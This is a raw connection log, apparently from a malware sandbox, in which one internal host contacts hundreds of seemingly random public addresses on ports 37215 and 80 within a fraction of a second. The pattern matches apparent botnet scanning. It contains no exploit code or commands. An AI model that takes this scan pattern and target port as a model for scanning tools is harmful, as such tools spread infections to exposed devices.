Oct 14, 2024 17:34:15.120754957 CEST	29625	37215	192.168.2.14	156.181.156.145
Oct 14, 2024 17:34:15.120755911 CEST	29625	37215	192.168.2.14	197.184.10.1
Oct 14, 2024 17:34:15.120764017 CEST	29625	37215	192.168.2.14	197.96.207.79
Oct 14, 2024 17:34:15.120764017 CEST	29625	37215	192.168.2.14	156.24.179.200
Oct 14, 2024 17:34:15.120768070 CEST	29625	37215	192.168.2.14	156.211.114.244
Oct 14, 2024 17:34:15.120774031 CEST	29626	80	192.168.2.14	208.147.97.117
Oct 14, 2024 17:34:15.120774031 CEST	29625	37215	192.168.2.14	41.144.75.222
Oct 14, 2024 17:34:15.120779991 CEST	29625	37215	192.168.2.14	156.247.213.141
Oct 14, 2024 17:34:15.120783091 CEST	29625	37215	192.168.2.14	156.201.115.163
Oct 14, 2024 17:34:15.120788097 CEST	29625	37215	192.168.2.14	156.255.207.128
Oct 14, 2024 17:34:15.120790005 CEST	29625	37215	192.168.2.14	156.7.0.149
Oct 14, 2024 17:34:15.120790958 CEST	29626	80	192.168.2.14	35.197.81.111
Oct 14, 2024 17:34:15.120790958 CEST	29626	80	192.168.2.14	104.199.51.175
Oct 14, 2024 17:34:15.120790958 CEST	29626	80	192.168.2.14	42.206.36.16
Oct 14, 2024 17:34:15.120790958 CEST	29626	80	192.168.2.14	179.2.139.225
Oct 14, 2024 17:34:15.120804071 CEST	29626	80	192.168.2.14	132.165.242.135
Oct 14, 2024 17:34:15.120810986 CEST	29625	37215	192.168.2.14	197.194.45.21
Oct 14, 2024 17:34:15.120810986 CEST	29625	37215	192.168.2.14	197.121.125.34
Oct 14, 2024 17:34:15.120811939 CEST	29625	37215	192.168.2.14	41.193.145.247
Oct 14, 2024 17:34:15.120811939 CEST	29626	80	192.168.2.14	159.213.81.73
Oct 14, 2024 17:34:15.120829105 CEST	29626	80	192.168.2.14	202.94.112.117
Oct 14, 2024 17:34:15.120832920 CEST	29626	80	192.168.2.14	140.192.56.145
Oct 14, 2024 17:34:15.120834112 CEST	29625	37215	192.168.2.14	197.23.244.214
Oct 14, 2024 17:34:15.120835066 CEST	29626	80	192.168.2.14	108.100.39.122
Oct 14, 2024 17:34:15.120835066 CEST	29626	80	192.168.2.14	103.60.143.177
Oct 14, 2024 17:34:15.120835066 CEST	29625	37215	192.168.2.14	41.205.35.208
Oct 14, 2024 17:34:15.120835066 CEST	29626	80	192.168.2.14	124.134.134.160
Oct 14, 2024 17:34:15.120835066 CEST	29626	80	192.168.2.14	209.207.216.96
Oct 14, 2024 17:34:15.120836020 CEST	29625	37215	192.168.2.14	41.111.5.100
Oct 14, 2024 17:34:15.120836020 CEST	29625	37215	192.168.2.14	156.147.77.3
Oct 14, 2024 17:34:15.120851994 CEST	29626	80	192.168.2.14	153.159.215.172
Oct 14, 2024 17:34:15.120853901 CEST	29626	80	192.168.2.14	177.224.225.175
Oct 14, 2024 17:34:15.120853901 CEST	29626	80	192.168.2.14	74.185.140.219
Oct 14, 2024 17:34:15.120855093 CEST	29625	37215	192.168.2.14	156.133.248.200
Oct 14, 2024 17:34:15.120853901 CEST	29625	37215	192.168.2.14	156.185.120.104
Oct 14, 2024 17:34:15.120856047 CEST	29625	37215	192.168.2.14	197.28.105.160
Oct 14, 2024 17:34:15.120855093 CEST	29625	37215	192.168.2.14	41.117.90.0
Oct 14, 2024 17:34:15.120856047 CEST	29626	80	192.168.2.14	135.79.36.112
Oct 14, 2024 17:34:15.120853901 CEST	29625	37215	192.168.2.14	156.236.196.118
Oct 14, 2024 17:34:15.120856047 CEST	29626	80	192.168.2.14	136.231.80.39
Oct 14, 2024 17:34:15.120868921 CEST	29625	37215	192.168.2.14	197.13.184.181
Oct 14, 2024 17:34:15.120887041 CEST	29625	37215	192.168.2.14	197.90.177.31
Oct 14, 2024 17:34:15.120887041 CEST	29626	80	192.168.2.14	144.133.186.241
Oct 14, 2024 17:34:15.120887041 CEST	29626	80	192.168.2.14	46.86.167.236
Oct 14, 2024 17:34:15.120887041 CEST	29625	37215	192.168.2.14	197.165.155.240
Oct 14, 2024 17:34:15.120887041 CEST	29625	37215	192.168.2.14	197.98.72.134
Oct 14, 2024 17:34:15.120888948 CEST	29625	37215	192.168.2.14	197.183.219.164
Oct 14, 2024 17:34:15.120888948 CEST	29626	80	192.168.2.14	57.146.245.11
Oct 14, 2024 17:34:15.120891094 CEST	29625	37215	192.168.2.14	197.157.172.1
Oct 14, 2024 17:34:15.120888948 CEST	29625	37215	192.168.2.14	197.84.214.8
Oct 14, 2024 17:34:15.120891094 CEST	29625	37215	192.168.2.14	156.69.207.113
Oct 14, 2024 17:34:15.120892048 CEST	29626	80	192.168.2.14	148.163.65.25
Oct 14, 2024 17:34:15.120891094 CEST	29626	80	192.168.2.14	76.183.162.170
Oct 14, 2024 17:34:15.120889902 CEST	29625	37215	192.168.2.14	41.153.42.255
Oct 14, 2024 17:34:15.120892048 CEST	29625	37215	192.168.2.14	41.251.28.58
Oct 14, 2024 17:34:15.120892048 CEST	29626	80	192.168.2.14	212.181.231.18
Oct 14, 2024 17:34:15.120889902 CEST	29625	37215	192.168.2.14	197.102.2.162
Oct 14, 2024 17:34:15.120892048 CEST	29625	37215	192.168.2.14	41.117.76.82
Oct 14, 2024 17:34:15.120889902 CEST	29626	80	192.168.2.14	219.38.117.191
Oct 14, 2024 17:34:15.120888948 CEST	29625	37215	192.168.2.14	156.23.205.179
Oct 14, 2024 17:34:15.120892048 CEST	29626	80	192.168.2.14	169.152.133.106
Oct 14, 2024 17:34:15.120892048 CEST	29626	80	192.168.2.14	37.46.186.163
Oct 14, 2024 17:34:15.120892048 CEST	29626	80	192.168.2.14	153.198.167.102
Oct 14, 2024 17:34:15.120888948 CEST	29626	80	192.168.2.14	32.82.201.42
Oct 14, 2024 17:34:15.120925903 CEST	29626	80	192.168.2.14	88.210.216.148
Oct 14, 2024 17:34:15.120925903 CEST	29626	80	192.168.2.14	20.0.90.206
Oct 14, 2024 17:34:15.120925903 CEST	29625	37215	192.168.2.14	41.98.170.190
Oct 14, 2024 17:34:15.120925903 CEST	29626	80	192.168.2.14	219.178.29.214
Oct 14, 2024 17:34:15.120927095 CEST	29625	37215	192.168.2.14	156.156.230.100
Oct 14, 2024 17:34:15.120928049 CEST	29626	80	192.168.2.14	191.67.191.103
Oct 14, 2024 17:34:15.120928049 CEST	29626	80	192.168.2.14	208.49.244.238
Oct 14, 2024 17:34:15.120929003 CEST	29625	37215	192.168.2.14	197.130.150.164
Oct 14, 2024 17:34:15.120929003 CEST	29626	80	192.168.2.14	46.62.112.29
Oct 14, 2024 17:34:15.120928049 CEST	29625	37215	192.168.2.14	156.104.217.117
Oct 14, 2024 17:34:15.120929003 CEST	29626	80	192.168.2.14	104.77.4.100
Oct 14, 2024 17:34:15.120929003 CEST	29626	80	192.168.2.14	208.230.225.212
Oct 14, 2024 17:34:15.120930910 CEST	29625	37215	192.168.2.14	41.11.26.88
Oct 14, 2024 17:34:15.120934010 CEST	29626	80	192.168.2.14	38.83.188.20
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	46.210.48.246
Oct 14, 2024 17:34:15.120934010 CEST	29625	37215	192.168.2.14	156.115.81.119
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	58.40.46.61
Oct 14, 2024 17:34:15.120929003 CEST	29625	37215	192.168.2.14	156.83.19.137
Oct 14, 2024 17:34:15.120930910 CEST	29625	37215	192.168.2.14	156.108.226.165
Oct 14, 2024 17:34:15.120934010 CEST	29626	80	192.168.2.14	223.24.151.247
Oct 14, 2024 17:34:15.120930910 CEST	29625	37215	192.168.2.14	41.203.23.109
Oct 14, 2024 17:34:15.120929003 CEST	29625	37215	192.168.2.14	156.109.17.153
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	164.45.73.250
Oct 14, 2024 17:34:15.120934010 CEST	29626	80	192.168.2.14	172.115.0.7
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	12.3.67.197
Oct 14, 2024 17:34:15.120930910 CEST	29625	37215	192.168.2.14	197.161.100.79
Oct 14, 2024 17:34:15.120934010 CEST	29625	37215	192.168.2.14	41.23.214.101
Oct 14, 2024 17:34:15.120930910 CEST	29625	37215	192.168.2.14	197.34.25.56
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	1.0.33.55
Oct 14, 2024 17:34:15.120930910 CEST	29625	37215	192.168.2.14	41.11.20.52
Oct 14, 2024 17:34:15.120929003 CEST	29625	37215	192.168.2.14	197.10.55.112
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	163.15.93.230
Oct 14, 2024 17:34:15.120930910 CEST	29626	80	192.168.2.14	130.200.142.28
Oct 14, 2024 17:34:15.120980024 CEST	29625	37215	192.168.2.14	197.46.72.251
Oct 14, 2024 17:34:15.120980024 CEST	29626	80	192.168.2.14	179.65.198.234
Oct 14, 2024 17:34:15.120980024 CEST	29625	37215	192.168.2.14	197.140.193.116
Oct 14, 2024 17:34:15.120982885 CEST	29626	80	192.168.2.14	27.77.182.207
Oct 14, 2024 17:34:15.120982885 CEST	29625	37215	192.168.2.14	197.166.108.135
Oct 14, 2024 17:34:15.120982885 CEST	29626	80	192.168.2.14	124.83.243.183
Oct 14, 2024 17:34:15.120984077 CEST	29626	80	192.168.2.14	23.241.243.14
Oct 14, 2024 17:34:15.120984077 CEST	29626	80	192.168.2.14	181.168.160.34
Oct 14, 2024 17:34:15.120984077 CEST	29626	80	192.168.2.14	77.220.150.78
Oct 14, 2024 17:34:15.120985031 CEST	29625	37215	192.168.2.14	41.226.139.189
Oct 14, 2024 17:34:15.120985031 CEST	29625	37215	192.168.2.14	197.255.189.0
Oct 14, 2024 17:34:15.120985031 CEST	29625	37215	192.168.2.14	41.44.63.25
Oct 14, 2024 17:34:15.120985031 CEST	29626	80	192.168.2.14	152.179.91.219
Oct 14, 2024 17:34:15.120985985 CEST	29626	80	192.168.2.14	166.103.152.181
Oct 14, 2024 17:34:15.120985031 CEST	29625	37215	192.168.2.14	156.206.67.86
Oct 14, 2024 17:34:15.120985985 CEST	29626	80	192.168.2.14	91.40.199.99
Oct 14, 2024 17:34:15.120986938 CEST	29626	80	192.168.2.14	84.57.47.84
Oct 14, 2024 17:34:15.120985985 CEST	29626	80	192.168.2.14	222.150.175.105
Oct 14, 2024 17:34:15.120986938 CEST	29625	37215	192.168.2.14	197.42.246.24
Oct 14, 2024 17:34:15.120987892 CEST	29626	80	192.168.2.14	85.246.183.106
Oct 14, 2024 17:34:15.120986938 CEST	29625	37215	192.168.2.14	41.195.229.137
Oct 14, 2024 17:34:15.120987892 CEST	29626	80	192.168.2.14	176.223.55.136
Oct 14, 2024 17:34:15.120986938 CEST	29626	80	192.168.2.14	67.34.64.156
Oct 14, 2024 17:34:15.120987892 CEST	29626	80	192.168.2.14	116.152.111.171
Oct 14, 2024 17:34:15.120986938 CEST	29626	80	192.168.2.14	115.82.136.35
Oct 14, 2024 17:34:15.120987892 CEST	29625	37215	192.168.2.14	156.90.72.63
Oct 14, 2024 17:34:15.120986938 CEST	29625	37215	192.168.2.14	197.111.150.117
Oct 14, 2024 17:34:15.120987892 CEST	29625	37215	192.168.2.14	41.253.173.132
Oct 14, 2024 17:34:15.120986938 CEST	29625	37215	192.168.2.14	156.47.91.43
Oct 14, 2024 17:34:15.120987892 CEST	29625	37215	192.168.2.14	197.51.174.118
Oct 14, 2024 17:34:15.120986938 CEST	29626	80	192.168.2.14	105.86.43.103
Oct 14, 2024 17:34:15.120987892 CEST	29626	80	192.168.2.14	172.1.193.129
Oct 14, 2024 17:34:15.121010065 CEST	29626	80	192.168.2.14	138.184.234.16
Oct 14, 2024 17:34:15.121010065 CEST	29626	80	192.168.2.14	194.222.119.116
Oct 14, 2024 17:34:15.121010065 CEST	29625	37215	192.168.2.14	156.230.22.70
Oct 14, 2024 17:34:15.121010065 CEST	29626	80	192.168.2.14	141.123.119.64
Oct 14, 2024 17:34:15.121010065 CEST	29626	80	192.168.2.14	27.246.166.163
Oct 14, 2024 17:34:15.121010065 CEST	29625	37215	192.168.2.14	156.245.101.245
Oct 14, 2024 17:34:15.121032953 CEST	29625	37215	192.168.2.14	197.16.188.81
Oct 14, 2024 17:34:15.121032953 CEST	29626	80	192.168.2.14	198.61.177.177
Oct 14, 2024 17:34:15.121032953 CEST	29625	37215	192.168.2.14	197.210.59.139
Oct 14, 2024 17:34:15.121032953 CEST	29626	80	192.168.2.14	39.0.244.153
Oct 14, 2024 17:34:15.121032953 CEST	29626	80	192.168.2.14	175.68.41.69
Oct 14, 2024 17:34:15.121032953 CEST	29626	80	192.168.2.14	115.226.226.11
Oct 14, 2024 17:34:15.121032953 CEST	29626	80	192.168.2.14	99.19.239.212
Oct 14, 2024 17:34:15.121037960 CEST	29626	80	192.168.2.14	17.161.170.57
Oct 14, 2024 17:34:15.121037960 CEST	29625	37215	192.168.2.14	197.122.208.231
Oct 14, 2024 17:34:15.121037960 CEST	29626	80	192.168.2.14	110.227.239.22
Oct 14, 2024 17:34:15.121037960 CEST	29626	80	192.168.2.14	52.31.90.200
Oct 14, 2024 17:34:15.121037960 CEST	29626	80	192.168.2.14	167.215.66.70
Oct 14, 2024 17:34:15.121037960 CEST	29626	80	192.168.2.14	5.42.129.133
Oct 14, 2024 17:34:15.121037960 CEST	29626	80	192.168.2.14	120.36.200.222
Oct 14, 2024 17:34:15.121037960 CEST	29625	37215	192.168.2.14	156.33.143.160
Oct 14, 2024 17:34:15.121037960 CEST	29625	37215	192.168.2.14	156.49.64.172
Oct 14, 2024 17:34:15.121041059 CEST	29626	80	192.168.2.14	132.140.60.152
Oct 14, 2024 17:34:15.121040106 CEST	29625	37215	192.168.2.14	41.210.191.232
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	39.71.93.75
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	143.249.138.60
Oct 14, 2024 17:34:15.121041059 CEST	29626	80	192.168.2.14	131.62.158.216
Oct 14, 2024 17:34:15.121041059 CEST	29625	37215	192.168.2.14	41.68.215.0
Oct 14, 2024 17:34:15.121041059 CEST	29625	37215	192.168.2.14	197.113.215.12
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	204.34.81.208
Oct 14, 2024 17:34:15.121041059 CEST	29625	37215	192.168.2.14	197.190.206.116
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	182.27.115.201
Oct 14, 2024 17:34:15.121041059 CEST	29626	80	192.168.2.14	174.25.141.76
Oct 14, 2024 17:34:15.121040106 CEST	29625	37215	192.168.2.14	197.175.80.60
Oct 14, 2024 17:34:15.121042013 CEST	29625	37215	192.168.2.14	197.40.179.219
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	70.31.122.81
Oct 14, 2024 17:34:15.121042013 CEST	29625	37215	192.168.2.14	156.82.117.115
Oct 14, 2024 17:34:15.121037960 CEST	29625	37215	192.168.2.14	41.65.10.202
Oct 14, 2024 17:34:15.121041059 CEST	29625	37215	192.168.2.14	41.229.95.160
Oct 14, 2024 17:34:15.121040106 CEST	29625	37215	192.168.2.14	197.56.239.16
Oct 14, 2024 17:34:15.121042013 CEST	29625	37215	192.168.2.14	156.205.114.215
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	192.158.113.97
Oct 14, 2024 17:34:15.121041059 CEST	29625	37215	192.168.2.14	41.172.152.214
Oct 14, 2024 17:34:15.121040106 CEST	29626	80	192.168.2.14	19.204.66.129
Oct 14, 2024 17:34:15.121042013 CEST	29626	80	192.168.2.14	39.14.140.247
Oct 14, 2024 17:34:15.121041059 CEST	29626	80	192.168.2.14	68.4.37.139
Oct 14, 2024 17:34:15.121042013 CEST	29625	37215	192.168.2.14	41.216.200.148
Oct 14, 2024 17:34:15.121042013 CEST	29625	37215	192.168.2.14	156.218.191.241
Oct 14, 2024 17:34:15.121042013 CEST	29626	80	192.168.2.14	197.61.241.47
Oct 14, 2024 17:34:15.121042013 CEST	29625	37215	192.168.2.14	41.31.119.147
Oct 14, 2024 17:34:15.121042013 CEST	29626	80	192.168.2.14	189.245.158.159
Oct 14, 2024 17:34:15.121063948 CEST	29625	37215	192.168.2.14	197.96.113.250
Oct 14, 2024 17:34:15.121068001 CEST	29626	80	192.168.2.14	202.147.46.233
Oct 14, 2024 17:34:15.121068001 CEST	29625	37215	192.168.2.14	156.54.75.214
Oct 14, 2024 17:34:15.121068001 CEST	29626	80	192.168.2.14	70.48.16.11
Oct 14, 2024 17:34:15.121068001 CEST	29625	37215	192.168.2.14	156.192.29.217
Oct 14, 2024 17:34:15.121068001 CEST	29625	37215	192.168.2.14	41.147.51.220
Oct 14, 2024 17:34:15.121068001 CEST	29626	80	192.168.2.14	70.73.163.47
Oct 14, 2024 17:34:15.121088028 CEST	29626	80	192.168.2.14	57.106.208.187
Oct 14, 2024 17:34:15.121088028 CEST	29625	37215	192.168.2.14	156.24.65.10
Oct 14, 2024 17:34:15.121088028 CEST	29626	80	192.168.2.14	159.109.211.199
Oct 14, 2024 17:34:15.121088028 CEST	29625	37215	192.168.2.14	197.45.23.75
Oct 14, 2024 17:34:15.121088028 CEST	29625	37215	192.168.2.14	197.122.107.34
Oct 14, 2024 17:34:15.121092081 CEST	29625	37215	192.168.2.14	156.92.61.151
Oct 14, 2024 17:34:15.121092081 CEST	29626	80	192.168.2.14	102.228.30.73
Oct 14, 2024 17:34:15.121092081 CEST	29625	37215	192.168.2.14	41.142.92.143
Oct 14, 2024 17:34:15.121092081 CEST	29626	80	192.168.2.14	218.187.10.232
Oct 14, 2024 17:34:15.121092081 CEST	29626	80	192.168.2.14	98.106.235.125
Oct 14, 2024 17:34:15.121092081 CEST	29625	37215	192.168.2.14	197.183.83.46
Oct 14, 2024 17:34:15.121093988 CEST	29626	80	192.168.2.14	223.76.236.31
Oct 14, 2024 17:34:15.121094942 CEST	29625	37215	192.168.2.14	156.241.191.220
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	88.125.133.79
Oct 14, 2024 17:34:15.121095896 CEST	29626	80	192.168.2.14	201.26.33.63
Oct 14, 2024 17:34:15.121094942 CEST	29625	37215	192.168.2.14	41.31.26.123
Oct 14, 2024 17:34:15.121095896 CEST	29626	80	192.168.2.14	118.239.202.15
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	143.67.198.88
Oct 14, 2024 17:34:15.121093988 CEST	29626	80	192.168.2.14	69.150.240.172
Oct 14, 2024 17:34:15.121094942 CEST	29625	37215	192.168.2.14	41.102.255.96
Oct 14, 2024 17:34:15.121093988 CEST	29625	37215	192.168.2.14	41.75.171.230
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	208.229.216.78
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	200.237.54.111
Oct 14, 2024 17:34:15.121094942 CEST	29625	37215	192.168.2.14	41.19.171.15
Oct 14, 2024 17:34:15.121097088 CEST	29625	37215	192.168.2.14	197.148.205.140
Oct 14, 2024 17:34:15.121094942 CEST	29625	37215	192.168.2.14	156.108.138.195
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	114.145.113.166
Oct 14, 2024 17:34:15.121097088 CEST	29626	80	192.168.2.14	171.203.59.162
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	210.225.142.140
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	148.224.171.98
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	145.234.160.7
Oct 14, 2024 17:34:15.121094942 CEST	29625	37215	192.168.2.14	156.151.127.60
Oct 14, 2024 17:34:15.121094942 CEST	29626	80	192.168.2.14	157.244.250.1
Oct 14, 2024 17:34:15.121124029 CEST	29626	80	192.168.2.14	124.215.30.10
Oct 14, 2024 17:34:15.121124029 CEST	29626	80	192.168.2.14	133.172.0.250
Oct 14, 2024 17:34:15.121154070 CEST	29625	37215	192.168.2.14	41.159.76.15
Oct 14, 2024 17:34:15.121154070 CEST	29626	80	192.168.2.14	81.59.188.145
Oct 14, 2024 17:34:15.121154070 CEST	29626	80	192.168.2.14	85.137.50.235
Oct 14, 2024 17:34:15.121154070 CEST	29626	80	192.168.2.14	220.165.24.131
Oct 14, 2024 17:34:15.121154070 CEST	29626	80	192.168.2.14	114.175.238.240
Oct 14, 2024 17:34:15.121155977 CEST	29625	37215	192.168.2.14	156.169.234.237
Oct 14, 2024 17:34:15.121154070 CEST	29626	80	192.168.2.14	183.247.233.90
Oct 14, 2024 17:34:15.121155977 CEST	29625	37215	192.168.2.14	156.28.52.14
Oct 14, 2024 17:34:15.121155977 CEST	29625	37215	192.168.2.14	41.220.76.82
Oct 14, 2024 17:34:15.121155977 CEST	29626	80	192.168.2.14	47.210.184.239
Oct 14, 2024 17:34:15.121156931 CEST	29626	80	192.168.2.14	218.252.207.55
Oct 14, 2024 17:34:15.121155977 CEST	29625	37215	192.168.2.14	156.226.172.7
Oct 14, 2024 17:34:15.121156931 CEST	29625	37215	192.168.2.14	41.226.101.127
Oct 14, 2024 17:34:15.121155977 CEST	29626	80	192.168.2.14	47.195.251.15
Oct 14, 2024 17:34:15.121156931 CEST	29625	37215	192.168.2.14	41.229.251.43
Oct 14, 2024 17:34:15.121157885 CEST	29625	37215	192.168.2.14	156.141.85.144
Oct 14, 2024 17:34:15.121156931 CEST	29625	37215	192.168.2.14	41.185.235.141
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	143.154.42.243
Oct 14, 2024 17:34:15.121157885 CEST	29626	80	192.168.2.14	188.223.52.164
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	135.171.155.238
Oct 14, 2024 17:34:15.121156931 CEST	29625	37215	192.168.2.14	156.219.193.168
Oct 14, 2024 17:34:15.121162891 CEST	29626	80	192.168.2.14	107.175.73.168
Oct 14, 2024 17:34:15.121157885 CEST	29626	80	192.168.2.14	187.104.237.163
Oct 14, 2024 17:34:15.121162891 CEST	29626	80	192.168.2.14	20.228.139.144
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	144.48.115.50
Oct 14, 2024 17:34:15.121162891 CEST	29626	80	192.168.2.14	47.214.117.43
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	130.51.132.27
Oct 14, 2024 17:34:15.121160030 CEST	29625	37215	192.168.2.14	156.135.122.124
Oct 14, 2024 17:34:15.121160030 CEST	29625	37215	192.168.2.14	197.182.82.116
Oct 14, 2024 17:34:15.121160984 CEST	29626	80	192.168.2.14	197.92.195.5
Oct 14, 2024 17:34:15.121156931 CEST	29626	80	192.168.2.14	115.137.141.133
Oct 14, 2024 17:34:15.121160984 CEST	29625	37215	192.168.2.14	197.12.223.7
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	172.4.176.126
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	186.54.135.52
Oct 14, 2024 17:34:15.121160030 CEST	29625	37215	192.168.2.14	197.140.229.49
Oct 14, 2024 17:34:15.121160984 CEST	29626	80	192.168.2.14	1.72.192.31
Oct 14, 2024 17:34:15.121156931 CEST	29625	37215	192.168.2.14	41.213.140.144
Oct 14, 2024 17:34:15.121164083 CEST	29626	80	192.168.2.14	77.38.162.98
Oct 14, 2024 17:34:15.121160030 CEST	29625	37215	192.168.2.14	197.31.21.209
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	150.52.52.218
Oct 14, 2024 17:34:15.121160984 CEST	29625	37215	192.168.2.14	197.243.151.75
Oct 14, 2024 17:34:15.121156931 CEST	29625	37215	192.168.2.14	41.95.219.179
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	102.184.20.237
Oct 14, 2024 17:34:15.121160984 CEST	29626	80	192.168.2.14	191.68.6.237
Oct 14, 2024 17:34:15.121160030 CEST	29626	80	192.168.2.14	89.229.81.79
Oct 14, 2024 17:34:15.121164083 CEST	29625	37215	192.168.2.14	156.96.116.12
Oct 14, 2024 17:34:15.121160984 CEST	29626	80	192.168.2.14	32.25.215.99
Oct 14, 2024 17:34:15.121164083 CEST	29626	80	192.168.2.14	118.172.77.0
Oct 14, 2024 17:34:15.121160984 CEST	29625	37215	192.168.2.14	197.217.23.72
Oct 14, 2024 17:34:15.121164083 CEST	29626	80	192.168.2.14	123.253.152.87
Oct 14, 2024 17:34:15.121186018 CEST	29626	80	192.168.2.14	202.241.17.115
Oct 14, 2024 17:34:15.121164083 CEST	29625	37215	192.168.2.14	197.85.192.135
Oct 14, 2024 17:34:15.121186018 CEST	29625	37215	192.168.2.14	156.197.239.226
Oct 14, 2024 17:34:15.121186018 CEST	29625	37215	192.168.2.14	41.188.1.88
Oct 14, 2024 17:34:15.121186018 CEST	29626	80	192.168.2.14	79.65.115.254
Oct 14, 2024 17:34:15.121193886 CEST	29626	80	192.168.2.14	20.124.223.190
Oct 14, 2024 17:34:15.121282101 CEST	29625	37215	192.168.2.14	156.187.115.55
Oct 14, 2024 17:34:15.121282101 CEST	29625	37215	192.168.2.14	41.100.0.91
Oct 14, 2024 17:34:15.121282101 CEST	29626	80	192.168.2.14	52.150.239.229
Oct 14, 2024 17:34:15.121282101 CEST	29626	80	192.168.2.14	217.65.137.53
Oct 14, 2024 17:34:15.121282101 CEST	29626	80	192.168.2.14	143.20.206.93
Oct 14, 2024 17:34:15.121282101 CEST	29625	37215	192.168.2.14	197.69.146.201
Oct 14, 2024 17:34:15.121282101 CEST	29625	37215	192.168.2.14	41.230.143.16
Oct 14, 2024 17:34:15.121282101 CEST	29625	37215	192.168.2.14	156.141.85.148
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	208.227.190.171
Oct 14, 2024 17:34:15.121287107 CEST	29625	37215	192.168.2.14	41.40.251.30
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	163.23.215.55
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	106.49.34.153
Oct 14, 2024 17:34:15.121287107 CEST	29625	37215	192.168.2.14	197.211.93.113
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	88.36.237.245
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	175.4.120.117
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	197.50.86.109
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	156.208.23.217
Oct 14, 2024 17:34:15.121287107 CEST	29625	37215	192.168.2.14	197.179.205.222
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	169.214.200.178
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	197.41.184.76
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	169.163.210.88
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	41.114.38.73
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	138.186.191.96
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	37.8.89.95
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	36.131.250.210
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	41.23.26.236
Oct 14, 2024 17:34:15.121287107 CEST	29626	80	192.168.2.14	151.137.137.178
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	136.184.30.112
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	213.152.37.20
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	187.82.52.126
Oct 14, 2024 17:34:15.121287107 CEST	29625	37215	192.168.2.14	197.117.145.37
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	167.46.36.245
Oct 14, 2024 17:34:15.121290922 CEST	29625	37215	192.168.2.14	156.239.89.255
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	197.62.23.151
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	41.39.123.169
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	110.128.61.22
Oct 14, 2024 17:34:15.121287107 CEST	29625	37215	192.168.2.14	197.73.151.192
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	41.154.59.56
Oct 14, 2024 17:34:15.121290922 CEST	29626	80	192.168.2.14	62.6.52.59
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	61.206.94.16
Oct 14, 2024 17:34:15.121288061 CEST	29625	37215	192.168.2.14	41.195.80.140
Oct 14, 2024 17:34:15.121290922 CEST	29626	80	192.168.2.14	119.100.127.207
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	187.33.39.138
Oct 14, 2024 17:34:15.121290922 CEST	29626	80	192.168.2.14	155.126.92.246
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	146.53.13.143
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	194.234.35.17
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	41.117.161.139
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	41.9.176.67
Oct 14, 2024 17:34:15.121290922 CEST	29626	80	192.168.2.14	150.254.51.12
Oct 14, 2024 17:34:15.121289015 CEST	29626	80	192.168.2.14	65.250.234.104
Oct 14, 2024 17:34:15.121289015 CEST	29625	37215	192.168.2.14	197.98.59.150
